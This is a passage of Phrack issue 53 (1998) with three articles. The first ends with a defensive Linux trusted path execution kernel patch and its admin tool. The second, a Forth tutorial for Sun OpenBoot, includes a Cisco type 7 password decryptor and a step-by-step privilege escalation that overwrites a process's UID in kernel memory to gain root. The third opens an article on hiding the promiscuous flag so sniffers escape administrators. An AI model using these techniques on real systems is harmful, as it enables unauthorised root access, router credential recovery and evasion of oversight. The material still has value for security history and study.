1) if the directory is owned by root and is not group or world writable (this check covers binaries located in /bin, /usr/bin, /usr/local/bin/, etc...).

2) If the above check fails, we allow to run the program only if the user is on our access list, and the program is located in a directory owned by that user, which is not group or world writable.

All other binaries are considered untrusted and will not be allowed to run. The logging of TPE violation attempts is a sysctl option (disabled by default). You can control it via /proc filesystem: echo 1 > /proc/sys/kernel/tpe

will enable the logging:

echo 0 > /proc/sys/kernel/tpe

will turn it off. All these messages are logged at KERN_ALERT priority.

c) tpe_ioctl() function, is our gate to/from the userspace. The driver supports three ioctls:

1) TPE_SCSETENT ‑ add UID to the access list,

2) TPE_SCDELENT ‑ delete UID from the access list, 3) TPE_SCGETENT ‑ get entry from the access list.

Only root is allowed to perform these ioctl()s.

The userspace program called "tpadm" is very simple. It opens /dev/tpe and performs an ioctl() with arguments as given by user.

‑‑‑[ In Conclusion

Well, that's all. Except for the legal blurb [1]:

"As usual, there are two main things to consider:

1. You get what you pay for.

2. It is free.

The consequences are that I won't guarantee the correctness of this document, and if you come to me complaining about how you screwed up your system because of wrong documentation, I won't feel sorry for you. I might even laugh at you.

But of course, if you _do_ manage to screw up your system using this I'd like to hear of it. Not only to have a great laugh, but also to make sure that you're the last RTFMing person to screw up.

In short, e‑mail your suggestions, corrections and / or horror stories to <kgb@manjak.knm.org.pl>."

Krzysztof G. Baranowski ‑ President of the Harmless Manyacs' Club http://www.knm.org.pl/ <prezes@manjak.knm.org.pl>

‑‑

[1] My favorite one, taken from Linux kernel Documentation/sysctl/README, written by Rik van Riel <H.H.vanRiel@fys.ruu.nl>.

‑‑‑‑[ The code

<++> EX/tpe‑0.02/Makefile

#

# Makefile for the Linux TPE Suite.

# Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved. #

# Change this to suit your requirements

CC = gcc

CFLAGS = ‑Wall ‑Wstrict‑prototypes ‑g ‑O2 ‑fomit‑frame‑pointer \ ‑pipe ‑m386

all: tpadm patch

tpadm: tpadm.c

$(CC) $(CFLAGS) ‑o tpadm tpadm.c

@strip tpadm

patch:

@echo

@echo"You must patch, reconfigure, recompile your kernel"

@echo"and create /dev/tpe (character, major 40, minor 0)"

@echo

clean:

rm ‑f *.o core tpadm

<‑‑>

<++> EX/tpe‑0.02/tpeadm.c

/*

* tpe.c ‑ tpe administrator

*

* Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved. *

* This file is part of the Linux TPE Suite and is made available under * the terms of the GNU General Public License, version 2, or at your * option, any later version, incorporated herein by reference. *

*

* Revision history:

*

* Revision 0.01: Thu Apr 6 20:27:33 CEST 1998

* Initial release for alpha testing.

* Revision 0.02: Sat Apr 11 21:58:06 CEST 1998

* Minor cosmetic fixes.

*

*/

static const char *version = "0.02";

#include <linux/tpe.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/ioctl.h>

#include <unistd.h>

#include <string.h>

#include <stdlib.h>

#include <errno.h>

#include <ctype.h>

#include <stdio.h>

#include <fcntl.h>

#include <pwd.h>

void banner(void)

{

fprintf(stdout, "TPE Administrator, version %s\n", version); fprintf(stdout,"Copyright (C) 1998 Krzysztof G. Baranowski. " "All rights reserved.\n");

fprintf(stdout, "Report bugs to <kgb@manjak.knm.org.pl>\n");

}

void usage(const char *name)

{

banner();

fprintf(stdout, "\nUsage:\n\t%s command\n", name); fprintf(stdout, "\nCommands:\n"

" ‑a username\t\tadd username to the access list\n" " ‑d username\t\tdelete username from the access list\n" " ‑s\t\t\tshow access list\n" " ‑h\t\t\tshow help\n" " ‑v\t\t\tshow version\n");

}

void print_pwd(int pid)

{

struct passwd *pwd;

pwd = getpwuid(pid);

if (pwd != NULL)

fprintf(stdout, " %d\t%s\t %s \n",

pwd‑>pw_uid, pwd‑>pw_name, pwd‑>pw_gecos);

}

void print_entries(int fd)

{

int uid, i = 0;

fprintf(stdout, "\n UID\tName\t Gecos \n");

fprintf(stdout, "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\n");

while (i < MAX_USERS) {

uid = ioctl(fd, TPE_SCGETENT, i);

if (uid > 0)

print_pwd(uid);

i++;

}

fprintf(stdout, "\n");

}

int name2uid(const char *name)

{

struct passwd *pwd;

pwd = getpwnam(name);

if (pwd != NULL)

return pwd‑>pw_uid;

else {

fprintf(stderr, "%s: no such user.\n", name); exit(EXIT_FAILURE);

}

}

int add_entry(int fd, int uid)

{

int ret;

errno = 0;

ret = ioctl(fd, TPE_SCSETENT, uid);

if (ret < 0) {

fprintf(stderr, "Couldn't add entry: %s\n", strerror(errno)); exit(EXIT_FAILURE);

}

return 0;

}

int del_entry(int fd, int uid)

{

int ret;

errno = 0;

ret = ioctl(fd, TPE_SCDELENT, uid);

if (ret < 0) {

fprintf(stderr, "Couldn't delete entry: %s\n", strerror(errno)); exit(EXIT_FAILURE);

}

return 0;

}

int main(int argc, char **argv)

{

const char *name = "/dev/tpe";

char *add_arg = NULL;

char *del_arg = NULL;

int fd, c;

errno = 0;

if (argc <= 1) {

fprintf(stderr, "%s: no command specified\n", argv[0]); fprintf(stderr, "Try `%s ‑h' for more information\n", argv[0]); exit(EXIT_FAILURE);

}

fd = open(name, O_RDWR);

if (fd < 0) {

fprintf(stderr, "Couldn't open file %s; %s\n", \ name, strerror(errno)); exit(EXIT_FAILURE);

}

opterr = 0;

while ((c = getopt(argc, argv, "a:d:svh")) != EOF)

switch (c) {

case 'a':

add_arg = optarg;

add_entry(fd, name2uid(add_arg));

break;

case 'd':

del_arg = optarg;

del_entry(fd, name2uid(del_arg));

break;

case 's':

print_entries(fd);

break;

case 'v':

banner();

break;

case 'h':

usage(argv[0]);

break;

default :

fprintf(stderr, "%s: illegal option\n", argv[0]); fprintf(stderr, "Try `%s ‑h' for more information\n", argv[0]); exit(EXIT_FAILURE);

}

exit(EXIT_SUCCESS);

}

<‑‑>

<++> EX/tpe‑0.02/kernel‑tpe‑2.0.32.diff

diff ‑urN linux‑2.0.32/Documentation/Configure.help linux/Documentation/Configure.help ‑‑‑ linux‑2.0.32/Documentation/Configure.helpSat Sep 6 05:43:58 1997 +++ linux/Documentation/Configure.helpSat Apr 11 21:30:40 1998

@@ ‑3338,6 +3338,27 @@

serial mice, modems and similar devices connecting to the standard serial ports.

+Trusted path execution (EXPERIMENTAL)

+CONFIG_TPE

+ This option enables trusted path execution. Binaries are considered + `trusted` if they live in a root owned directory that is not group or + world writable. If an attempt is made to execute a program from a non + trusted directory, it will simply not be allowed to run. This is + quite useful on a multi‑user system where security is an issue. Users + will not be able to compile and execute arbitrary programs (read: evil) + from their home directories, as these directories are not trusted. + A list of non‑root users allowed to run binaries can be modified + by using program "tpadm". You should have received it with this + patch. If not please visit http://www.knm.org.pl/prezes/index.html,

+ mail the author ‑ Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>, + or write it itself :‑). This driver has been written as an enhancement + to route's <route@infonexus.cm> original patch. (a check in do_execve() + in fs/exec.c for trusted directories, ie. root owned and not group/world + writable). This option is useless on a single user machine.

+ Logging of trusted path execution violation is configurable via /proc + filesystem and turned off by default, to turn it on run you must run: + "echo 1 > /proc/sys/kernel/tpe". To turn it off: "echo 0 > /proc/sys/..." +

Digiboard PC/Xx Support

CONFIG_DIGI

This is a driver for the Digiboard PC/Xe, PC/Xi, and PC/Xeve cards diff ‑urN linux‑2.0.32/drivers/char/Config.in linux/drivers/char/Config.in ‑‑‑ linux‑2.0.32/drivers/char/Config.inTue Aug 12 22:06:54 1997 +++ linux/drivers/char/Config.inSat Apr 11 21:30:53 1998

@@ ‑5,6 +5,9 @@

comment 'Character devices'

tristate 'Standard/generic serial support' CONFIG_SERIAL

+if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then

+ bool 'Trusted Path Execution (EXPERIMENTAL)' CONFIG_TPE

+fi

bool 'Digiboard PC/Xx Support' CONFIG_DIGI

tristate 'Cyclades async mux support' CONFIG_CYCLADES

bool 'Stallion multiport serial support' CONFIG_STALDRV

diff ‑urN linux‑2.0.32/drivers/char/Makefile linux/drivers/char/Makefile ‑‑‑ linux‑2.0.32/drivers/char/MakefileTue Aug 12 22:06:54 1997 +++ linux/drivers/char/MakefileThu Apr 9 15:34:46 1998

@@ ‑34,6 +34,10 @@

endif

endif

+ifeq ($(CONFIG_TPE),y)

+L_OBJS += tpe.o

+endif

+

ifndef CONFIG_SUN_KEYBOARD

L_OBJS += keyboard.o defkeymap.o

endif

diff ‑urN linux‑2.0.32/drivers/char/tpe.c linux/drivers/char/tpe.c ‑‑‑ linux‑2.0.32/drivers/char/tpe.cThu Jan 1 01:00:00 1970

+++ linux/drivers/char/tpe.cSat Apr 11 22:06:36 1998

@@ ‑0,0 +1,185 @@

+/*

+ * tpe.c ‑ tpe driver

+ *

+ *Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved. + *

+ * This file is part of the Linux TPE Suite and is made available under + * the terms of the GNU General Public License, version 2, or at your + *option, any later version, incorporated herein by reference.

+ *

+ *

+ * Revision history:

+ *

+ * Revision 0.01: Thu Apr 6 18:31:55 CEST 1998

+ * Initial release for alpha testing.

+ * Revision 0.02: Sat Apr 11 21:32:33 CEST 1998

+ * Replaced CONFIG_TPE_LOG with sysctl option.

+ *

+ */

+

+static const char *version = "0.02";

+

+#include <linux/version.h>

+#include <linux/module.h>

+#include <linux/kernel.h>

+#include <linux/sched.h>

+#include <linux/config.h>

+#include <linux/tpe.h>

+#include <linux/mm.h>

+#include <linux/fs.h>

+

+static const char *tpe_dev = "tpe";

+static unsigned int tpe_major = 40;

+static int tpe_users[MAX_USERS];

+int tpe_log = 0; /* sysctl boolean */

+

+#if 0

+static void print_report(const char *info)

+{

+ int i = 0;

+

+ printk("Report: %s\n", info);

+ while (i < MAX_USERS) {

+ printk("tpe_users[%d] = %d\n", i, tpe_users[i]); + i++;

+ }

+}

+#endif

+

+static int is_on_list(int uid)

+{

+ int i;

+

+for (i = 0; i < MAX_USERS; i++) {

+ if (tpe_users[i] == uid)

+ return 0;

+ }

+ return ‑1;

+}

+

+int tpe_verify(unsigned short uid, struct inode *d_ino)

+{

+if (((d_ino‑>i_mode & (S_IWGRP | S_IWOTH)) == 0) && (d_ino‑>i_uid == 0)) + return 0;

+if ((is_on_list(uid) == 0) && (d_ino‑>i_uid == uid) &&

+ (d_ino‑>i_mode & (S_IWGRP | S_IWOTH)) == 0)

+return 0;

+

+if (tpe_log)

+security_alert("Trusted path execution violation");

+return ‑1;

+}

+

+static int tpe_find_entry(int uid)

+{

+ int i = 0;

+

+ while (tpe_users[i] != uid && i < MAX_USERS)

+ i++;

+if (i >= MAX_USERS)

+return ‑1;

+else

+ return i;

+}

+

+static void tpe_revalidate(void)

+{

+ int temp[MAX_USERS];

+ int i, j = 0;

+

+ memset(temp, 0, sizeof(temp));

+ for (i = 0; i < MAX_USERS; i++) {

+ if (tpe_users[i] != 0) {

+ temp[j] = tpe_users[i];

+ j++;

+}

+}

+ memset(tpe_users, 0, sizeof(tpe_users));

+ memcpy(tpe_users, temp, sizeof(temp));

+}

+

+static int add_entry(int uid)

+{

+ int i;

+

+ if (uid <= 0)

+ return ‑EBADF;

+ if (!is_on_list(uid))

+ return ‑EEXIST;

+ if ((i = tpe_find_entry(0)) != ‑1) {

+ tpe_users[i] = uid;

+ tpe_revalidate();

+ return 0;

+} else

+return ‑ENOSPC;

+}

+

+static int del_entry(int uid)

+{

+ int i;

+

+ if (uid <= 0)

+ return ‑EBADF;

+ if (is_on_list(uid))

+ return ‑EBADF;

+ i = tpe_find_entry(uid);

+ tpe_users[i] = 0;

+ tpe_revalidate();

+ return 0;

+}

+

+static int tpe_ioctl(struct inode *inode, struct file *file,

+ unsigned int cmd, unsigned long arg)

+{

+ int argc = (int) arg;

+ int retval;

+

+if (!suser())

+return ‑EPERM;

+ switch (cmd) {

+ case TPE_SCSETENT:

+ retval = add_entry(argc);

+return retval;

+ case TPE_SCDELENT:

+ retval = del_entry(argc);

+return retval;

+case TPE_SCGETENT:

+return tpe_users[argc];

+ default:

+ return ‑EINVAL;

+ }

+}

+

+static int tpe_open(struct inode *inode, struct file *file)

+{

+return 0;

+}

+

+static void tpe_close(struct inode *inode, struct file *file)

+{

+/* dummy */

+}

+

+static struct file_operations tpe_fops = {

+NULL, /* llseek */

+NULL,/* read */

+NULL,/* write */

+NULL,/* readdir */

+NULL, /* select */

+tpe_ioctl,/* ioctl*/

+NULL,/* mmap */

+tpe_open,/* open */

+tpe_close, /* release */

+};

+

+int tpe_init(void)

+{

+int result;

+

+ tpe_revalidate();

+if ((result = register_chrdev(tpe_major, tpe_dev, &tpe_fops)) != 0) +return result;

+printk(KERN_INFO "TPE %s subsystem initialized... "

+ "(C) 1998 Krzysztof G. Baranowski\n", version);

+return 0;

+}

diff ‑urN linux‑2.0.32/drivers/char/tty_io.c linux/drivers/char/tty_io.c ‑‑‑ linux‑2.0.32/drivers/char/tty_io.cTue Sep 16 18:36:49 1997 +++ linux/drivers/char/tty_io.cThu Apr 9 15:34:46 1998

@@ ‑2030,6 +2030,9 @@

#ifdef CONFIG_SERIAL

rs_init();

#endif

+#ifdef CONFIG_TPE

+tpe_init();

+#endif

#ifdef CONFIG_SCC

scc_init();

#endif

diff ‑urN linux‑2.0.32/fs/exec.c linux/fs/exec.c

‑‑‑ linux‑2.0.32/fs/exec.cFri Nov 7 18:57:30 1997

+++ linux/fs/exec.cFri Apr 10 14:02:02 1998

@@ ‑47,6 +47,11 @@

#ifdef CONFIG_KERNELD

#include <linux/kerneld.h>

#endif

+#ifdef CONFIG_TPE

+extern int tpe_verify(unsigned short uid, struct inode *d_ino); +extern int dir_namei(const char *pathname, int *namelen, const char **name, + struct inode *base, struct inode **res_inode); +#endif

asmlinkage int sys_exit(int exit_code);

asmlinkage int sys_brk(unsigned long);

@@ ‑652,12 +657,29 @@

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs) {

struct linux_binprm bprm;

+ struct inode *dir;

+ const char *basename;

+ int namelen;

+

int retval;

int i;

bprm.p = PAGE_SIZE*MAX_ARG_PAGES‑sizeof(void *);

for (i=0 ; i<MAX_ARG_PAGES ; i++)/* clear page‑table */

bprm.page[i] = 0;

+

+#ifdef CONFIG_TPE

+/* Check to make sure the path is trusted. If the directory is root

+ * owned and not group/world writable, it's trusted. Otherwise, + * return ‑EACCES and optionally log it

+ */

+if (!suser()) {

+dir_namei(filename, &namelen, &basename, NULL, &dir);

+if (tpe_verify(current‑>uid, dir))

+return ‑EACCES;

+}

+#endif /* CONFIG_TPE */

+

retval = open_namei(filename, 0, 0, &bprm.inode, NULL);

if (retval)

return retval;

diff ‑urN linux‑2.0.32/fs/namei.c linux/fs/namei.c

‑‑‑ linux‑2.0.32/fs/namei.cSun Aug 17 01:23:19 1997

+++ linux/fs/namei.cThu Apr 9 15:34:46 1998

@@ ‑216,8 +216,13 @@

* dir_namei() returns the inode of the directory of the

* specified name, and the name within that directory.

*/

+#ifdef CONFIG_TPE

+int dir_namei(const char *pathname, int *namelen, const char **name, + struct inode * base, struct inode **res_inode) +#else

static int dir_namei(const char *pathname, int *namelen, const char **name, struct inode * base, struct inode **res_inode) +#endif /* CONFIG_TPE */

{

char c;

const char * thisname;

diff ‑urN linux‑2.0.32/include/linux/sysctl.h linux/include/linux/sysctl.h ‑‑‑ linux‑2.0.32/include/linux/sysctl.hTue Aug 12 23:06:35 1997 +++ linux/include/linux/sysctl.hSat Apr 11 22:04:13 1998

@@ ‑61,6 +61,7 @@

#define KERN_NFSRADDRS18/* NFS root addresses */

#define KERN_JAVA_INTERPRETER 19 /* path to Java(tm) interpreter */

#define KERN_JAVA_APPLETVIEWER 20 /* path to Java(tm) appletviewer */

+#define KERN_TPE 21 /* TPE logging */

/* CTL_VM names: */

#define VM_SWAPCTL1/* struct: Set vm swapping control */

diff ‑urN linux‑2.0.32/include/linux/tpe.h linux/include/linux/tpe.h ‑‑‑ linux‑2.0.32/include/linux/tpe.hThu Jan 1 01:00:00 1970

+++ linux/include/linux/tpe.hThu Apr 9 15:34:46 1998

@@ ‑0,0 +1,47 @@

+/*

+ * tpe.h ‑ misc common stuff

+ *

+ *Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved. + *

+ * This file is part of the Linux TPE Suite and is made available under + * the terms of the GNU General Public License, version 2, or at your + *option, any later version, incorporated herein by reference.

+ *

+ */

+

+#ifndef __TPE_H__

+#define __TPE_H__

+

+#ifdef __KERNEL__

+/* Taken from Solar Designers' <solar@false.com> non executable stack patch */

+#define security_alert(msg) { \

+ static unsigned long warning_time = 0, no_flood_yet = 0; \ +\

+/* Make sure at least one minute passed since the last warning logged */ \

+ if (!warning_time || jiffies ‑ warning_time > 60 * HZ) { \ + warning_time = jiffies; no_flood_yet = 1; \

+ printk( \

+ KERN_ALERT \

+ "Possible " msg " exploit attempt:\n" \

+ KERN_ALERT \

+ "Process %s (pid %d, uid %d, euid %d).\n", \ + current‑>comm, current‑>pid, \

+ current‑>uid, current‑>euid); \

+ } else if (no_flood_yet) { \

+ warning_time = jiffies; no_flood_yet = 0; \

+ printk( \

+ KERN_ALERT \

+ "More possible " msg " exploit attempts follow.\n"); \ + } \

+}

+#endif /* __KERNEL__ */

+

+/* size of tpe_users array */

+#define MAX_USERS32

+

+/* ioctl */

+#define TPE_SCSETENT0x3137

+#define TPE_SCDELENT0x3138

+#define TPE_SCGETENT0x3139

+

+#endif /* __TPE_H__ */

diff ‑urN linux‑2.0.32/include/linux/tty.h linux/include/linux/tty.h ‑‑‑ linux‑2.0.32/include/linux/tty.hTue Nov 18 20:46:44 1997

+++ linux/include/linux/tty.hSat Apr 11 21:45:20 1998

@@ ‑283,6 +283,7 @@

extern unsigned long con_init(unsigned long);

extern int rs_init(void);

+extern int tpe_init(void);

extern int lp_init(void);

extern int pty_init(void);

extern int tty_init(void);

diff ‑urN linux‑2.0.32/kernel/sysctl.c linux/kernel/sysctl.c

‑‑‑ linux‑2.0.32/kernel/sysctl.cThu Aug 14 00:02:42 1997

+++ linux/kernel/sysctl.cSat Apr 11 21:40:03 1998

@@ ‑26,6 +26,9 @@

/* External variables not in a header file. */

extern int panic_timeout;

+#ifdef CONFIG_TPE

+extern int tpe_log;

+#endif

#ifdef CONFIG_ROOT_NFS

#include <linux/nfs_fs.h>

@@ ‑147,6 +150,10 @@

64, 0644, NULL, &proc_dostring, &sysctl_string }, {KERN_JAVA_APPLETVIEWER, "java‑appletviewer", binfmt_java_appletviewer, 64, 0644, NULL, &proc_dostring, &sysctl_string },

+#endif

+#ifdef CONFIG_TPE

+{KERN_TPE, "tpe", &tpe_log, sizeof(int),

+ 0644, NULL, &proc_dointvec},

#endif

{0}

};

<‑‑>

‑‑‑‑[ EOF

Hacking in Forth

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 09 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ FORTH Hacking on Sparc Hardware

‑‑‑‑‑‑‑‑[ mudge <mudge@l0pht.com>

L0pht Heavy Industries [ http://www.L0pht.com ]

presents

FORTH Hacking on Sparc Hardware mudge@l0pht.com

[Disclaimer ‑ you can really mess up your system by mucking about with the information below if done incorrectly. Neither The L0pht, nor the author, take any accountability for mis‑use of this information. Caution: Contents under pressure! ]

So here it is, about 12:45am on a Monday morning. SpaceRogue from the l0pht just finished kicking my ass at darts the entire night although I managed to enjoy myself anyway due to a plethora of Guinness. Route has been breathing down my neck for an article for PHRACK and since the one I proposed to him last time we both deemed as completely morally irresponsible (after all, we like it that the Internet works on a _somewhat_ consistent basis), I find myself dredging up bizarre tricks and knickknacks that I've been playing with.

FORTH. Well, I could say it's the wave of the future but is has been around a long time and doesn't seem to be gaining tremendous popularity. However, it turns out that it is an incredibly interesting programming language that, whether you know it or not, plays a very key roll in some of our favorite hardware. Sun Microsystems uses forth for their OpenBoot implementation. What this means is that when you power on anything from an old Sun 3/60 that is based off of the Motorola 680X0 to an UltraSparc Server based off of the UltraSparc 64 bit processor, the hardware and initial bootstrapping code is handled by a FORTH interpreter.

For a long time it was infrequent that a hacker would actually be able to lay their hands, legitimately, on a piece of Sun hardware and play with the OpenBoot prom. Nowadays I have watched companies throw out older Sun 2's, Sun 3's and even Sparc ELC and IPC's in large quantities. Frequenting your local Ham Radio or Tech flea markets can usually yield an older Sun system for extremely short cash. Then again, if you work around them you have "free" access to play with the hardware and sometimes that's what the game is all about.

As it turns out I happen to have a Sparc at home, at the l0pht, and at work. The first two were trash picked and the third is just due to the fact that I stopped flipping burgers and decided to make the same amount of money doing something I'm more interested in (grin). Yes, there are plenty of holes still around in Solaris, SunOS, and the other operating systems that run on the Sparc architecture (such as NeXTSTEP and the *BSD's) but it's always fun to see how the system starts up as almost nobody seems to think about security at that point. In this article we will start by writing a simple program to turn the LED light on the hardware on and off. We will then write a cisco type 7 password decryptor for Pforth ‑ which is a FORTH interpreter written for the 3Com PalmPilot PDA. At that point I will show how to change the credential structure of a running process to 0 (root).

FORTH is a very simple, yet powerful language. It is tremendously small and compact which lends it extremely well to embedded systems. This is one of the main reasons that the bootstrapping of hardware and software on Suns is done in FORTH. If you have ever used a scientific, or often referred to as "Reverse Polish Notation", calculator then you understand the stack based premise behind FORTH.

[elapsed time 1.5 weeks]

EEEKS! So I'm rummaging through some of my files and find that I've been neglect in my duties of finishing this article... One moment, one more glass of port (it's always good to move on to port after a few beers...). Ahh. Ok, on to some basic Forth examples to get everybody in the right mindset. Let's try the old standard of 2+3.

In stack based notation this is expressed as 2 3 +. Think of every element being pushed onto the stack and then operands dealing with the top layers in reverse order. Thus, 2 pushes the number 2 on the stack, 3 pushes the number 3 on the stack, and + says take the top two numbers off of the stack and push the result on to the stack in their place [diagram 1].

[diagram 1]

2 3 +

‑‑‑ ‑‑‑ ‑‑‑

| 2 | | 3 | | 5 |

‑‑‑ |‑‑‑| ‑‑‑

| 2 |

‑‑‑

[note: to pop the top of the stack and display it on the screen type '.']

Simple? You bet. Try it out on your favorite piece of Sun hardware. L1‑A (the L1 key might be labeled 'Stop') give the following a shot:

<++> EX/4th/blink.4

ok :light‑on

1 aux@ or aux! ;

ok :light‑off

1 invert aux@ and aux! ;

ok

<‑‑>

Now when you type light‑on, the led on the front of the Sparc turns on. Conversely, light‑off turns the led off. On installations with OpenBoot 3.x I believe this is a built in FORTH word as led‑on and led‑off. Older versions of OpenBoot don't have this built in word ‑ but now you can add it.

Here's what all of the above actually means ‑

:light‑on ‑ this marks the beginning of a new word definition which ends when a semi‑colon is seen.

1 ‑ pushes 1 on the stack.

aux@ ‑ takes the value stored in the aux register and pushes it onto the stack.

or ‑ takes the top two values from the stack, OR's them and leaves the result in their place.

aux! ‑ takes the value on the top of the stack and writes it to the aux register.

; ‑ ends the word definition.

:light‑off ‑ this marks the beginning of a new word definition which ends when a semi‑colon is seen.

1 ‑ pushes 1 on the stack.

invert ‑ inverts the bits or the value on the top of the stack aux@ ‑ takes the value stored in the aux register and pushes it onto the stack.

and ‑ takes the top two values from the stack, AND's them and leaves the result in their place.

aux! ‑ takes the value on the top of the stack and writes it to the aux register.

; ‑ ends the word definition.

[note ‑ you can see the disassembly of the led‑on / led‑off words, if they are in your openboot with ' ok led‑on (see)' ]

‑‑‑‑

The PalmPilot is a rockin' little PDA based off of the Motorola 68328 (DragonBall) processor. At the L0pht we all went out and picked up PalmPilots as soon as we saw all of the wonderful unused features of the Motorola processor in it. Ahhhh, taking us back to similar feelings of messing about in the 6502.

PForth is a bit different from the OpenBoot forth implementation in some minor ways ‑ most notably in the default input bases and how words such as 'abort' are handled. I figured a little app for the Pilot in FORTH might help people see the usefulness of the language on other devices than the Sun firmware. The porting of this to work in an OpenBoot environment is left as an exercise to the reader.

The cisco type 7 password decryptor is a bit more complex than the led‑on / light‑on example above [see the book references at the end of this article for a much more thorough explanation of the FORTH language].

‑‑begin cisco decryptor‑‑

<++> EX/4th/cisco_decryptor.4

\ cisco‑decrypt

include string

( argh! We cannot _create_ the )

( constant array as P4th dies )

( around the 12th byte ‑ )

( thus the ugliness of setting it )

( up in :main .mudge)

variable ciscofoo 40 allot

variable encpw 60 allot

variable decpw 60 allot

variable strlen

variable seed

variable holder

:toupper ( char ‑‑ char )

dup dup 96 > rot 123 < and if

32 ‑

then ;

:ishexdigit ( char ‑‑ f )

dup dup 47 > rot 58 < and if

drop ‑ 1

else

dup dup 64 > 71 < and if

drop ‑ 1

else

drop 0 then then ;

:chartonum ( char ‑‑ i )

toupper

dup ishexdigit 0= if

abort" contains invalid char "

then

dup

58 < if

48 ‑

else

55 ‑

then ;

:main

100 ciscofoo 0 + C!

115 ciscofoo 1 + C!

102 ciscofoo 2 + C!

100 ciscofoo 3 + C!

59 ciscofoo 4 + C!

107 ciscofoo 5 + C!

115 ciscofoo 6 + C!

111 ciscofoo 7 + C!

65 ciscofoo 8 + C!

44 ciscofoo 9 + C!

46 ciscofoo 10 + C!

105 ciscofoo 11 + C!

121 ciscofoo 12 + C!

101 ciscofoo 13 + C!

119 ciscofoo 14 + C!

114 ciscofoo 15 + C!

107 ciscofoo 16 + C!

108 ciscofoo 17 + C!

100 ciscofoo 18 + C!

74 ciscofoo 19 + C!

75 ciscofoo 20 + C!

68 ciscofoo 21 + C!

32 word count (addr + 1, strlen )

strlen!

encpw strlen @ cmove> drop

cr

( make sure the string is > 3 chars )

strlen @ 4 < if abort" short input"

then

strlen @ 2 mod ( valid encpw's )

( must have even number of chars )

0= 0= if abort" odd input" then

encpw C@ 48 ‑ 10 *

encpw 1 + C@ 48 ‑ + seed!

seed @ 15 > if abort" incalid seed"

then

0 holder !

strlen @ 1 + 2 do

i 2 = 0= i 2 mod 0= and if

holder @ ciscofoo seed @ + C@ xor

emit

seed @ 1 + seed !

0 holder !

i strlen @ = if

cr quit then

then

i 2 mod 0= if

encpw i + C@ chartonum 16 *

holder !

else

encpw i + C@ chartonum holder @ +

holder !

then

loop ;

<‑‑>

‑‑end cisco decryptor‑‑

Ok ‑ after that brief little excursion we return to the Sparc hardware.

So, how can this information be used from a more traditional hacking standpoint? Let's say you are sitting in front of a nice system running Solaris but for whatever reason you only have an unprivileged account. Since there is not any setup in the hardware to delineate different users and their ability to access memory (well, not in the way you think about it inside of Unix processes) you really have free roam of the system.

Each process is allocated a structure defining various aspects about itself. This is needed when processes are swapped out and in to memory. As a regular user you really aren't allowed to muck about in this structure but a quick L1‑A will get us around all of that. Peeking into /usr/include/sys/proc.h shows that what we are really after is the process credentials structure. This is located after a pointer to a vnode, a pointer to the process address space, and two mutex locks. At that point there is a pointer to a cred struct which has the process credentials. Inside the process credentials structure you find :

reference count (long)

effective user id (short)

effective group id (short)

real user id (short)

real group id (short)

"saved" user id (short)

"saved" group id (short)

etc...

Eyes lighting up yet? All of these variables are accessible when you are at the command prompt. The first thing that you need to figure out is the start of the proc structure for a given process ID (PID). Let's assume I have a shell running (tcsh in this case). In tcsh and csh the PID of the shell is stored in $$.

Alliant+ ps ‑eaff | grep $$

mudge 914 913 1 15:29:31 pts/5 0:01 tcsh

Sure enough, that's my tcsh. Now simply use ps to find the beginning of the proc structure:

Alliant+ ps ‑lp $$

F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 8 S 777 914 913 0 51 20 f5e09000 436 f5e091d0 pts/5 0:01 tcsh

You can find the layout of your proc structure in /usr/include/sys/proc.h. From this it is apparent that the pointer to the credential structure is located 24 bytes into the proc struct. In the above example that means the pointer is at 0xf5e09000 + 0x18 or 0xf5e09018. The credential struct is listed in /usr/include/sys/cred.h. From this we note that the effective user id is 4 bytes into the cred structure.

Just so you can see that there's nothing hidden up my sleeves ‑

Alliant+ id

uid=777(mudge) gid=1(other)

Fire up the trusty OpenBoot system via L1‑A and get the pointer to the cred structure via :

ok hex f5e09000 18 + l@ .

f5a99858

ok go

Now, get the effective user id by

ok hex f5a99858 4 + l@ .

309 (309 hex == 777 decimal)

ok go

Of course you want to change this to 0 (euid root):

ok hex 0 f5a99858 4 + l!

ok go

check your credentials!

Alliant+ id

uid=777(mudge) gid=1(other) euid=0(root)

If you want to change the real user id it would be an offset of 12 (0xc):

ok hex 0 f5a99858 c + l!

ok go

Alliant+ id

uid=0(root) gid=1(other)

Needless to say, there's a whole different world living inside that hardware in front of you that is begging to be played and fiddled with. Keep in mind that you can do serious damage by mucking around in there though.

enjoy,

mudge@l0pht.com

‑‑‑

http://www.l0pht.com

‑‑‑

Some excellent FORTH books that you should get to learn more about this are:

Starting FORTH, Leo Brodie, Prentice‑Hall, Inc. ISBN 0‑13‑842922‑7 OpenBoot 3.x Command Reference Manual, SunSoft [get from a Sun Reseller]

Pilot FORTH was written by Neal Bridges (nbridges@interlog.com) http://www.interlog.com/~nbridges

‑‑‑‑[ EOF

Interface Promiscuity Obscurity

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 10 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Interface Promiscuity Obscurity

‑‑‑‑‑‑‑‑[ apk <apk@itl.waw.pl>

‑‑‑‑[ INTRODUCTION

Normally, when you put an interface into promiscuous mode, it sets a flag in the device interface structure telling the world (or anyone who wants to check) that the device, is indeed, in promiscuous mode. This is, of course, annoying to those of you who want to obscure this fact from prying administrative eyes. Behold intrepid hacker, your salvation is at hand. The following modules for FreeBSD, Linux, HP‑UX, IRIX and Solaris allow you to obscure the IFF_PROMISC bit and run all your wonderful little packet sniffers incognito...

‑‑‑‑[ IMPLEMENTATION DETAILS

Usage of the code is simple. After you put the interface into promiscuous mode, you can clean the IFF_PROMISC flag with:

`./i <interface> 0`

and reset the flag with:

`./i <interface> 1`.

